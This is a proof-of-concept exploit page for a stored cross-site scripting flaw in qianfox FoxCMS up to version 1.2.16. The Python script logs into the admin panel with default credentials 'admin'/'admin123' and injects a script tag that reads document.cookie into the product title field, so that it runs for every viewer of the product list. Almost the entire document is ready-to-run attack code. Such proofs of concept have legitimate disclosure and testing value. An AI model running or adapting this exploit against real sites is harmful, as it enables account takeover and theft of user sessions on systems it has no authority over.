CVE-2025-12920 qianfox FoxCMS跨站脚本漏洞

# CVE-2025-12920 XSS PoC for qianfox FoxCMS # Product Title XSS Injection # # This PoC demonstrates the stored XSS vulnerability in FoxCMS product management # Target: http://target-website.com/admin # Affected Version: FoxCMS <= 1.2.16 import requests import sys # Target configuration TARGET_URL = "http://target-website.com" ADMIN_PATH = "/admin/index.php/product/add" LOGIN_URL = f"{TARGET_URL}/admin/index.php/login" # Malicious XSS payload XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def exploit_xss(): """ Exploit the XSS vulnerability by injecting malicious script in Product Title """ # Step 1: Login to admin panel session = requests.Session() login_data = { 'username': 'admin', 'password': 'admin123' } # Login request login_response = session.post(LOGIN_URL, data=login_data) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Successfully logged in") # Step 2: Create product with XSS payload in Title product_data = { 'Title': XSS_PAYLOAD, 'Description': 'Test Product', 'Price': '100' } add_product_url = f"{TARGET_URL}{ADMIN_PATH}" create_response = session.post(add_product_url, data=product_data) if create_response.status_code == 200: print("[+] XSS payload injected successfully in Product Title") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] The script will execute when anyone views the product list") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": exploit_xss()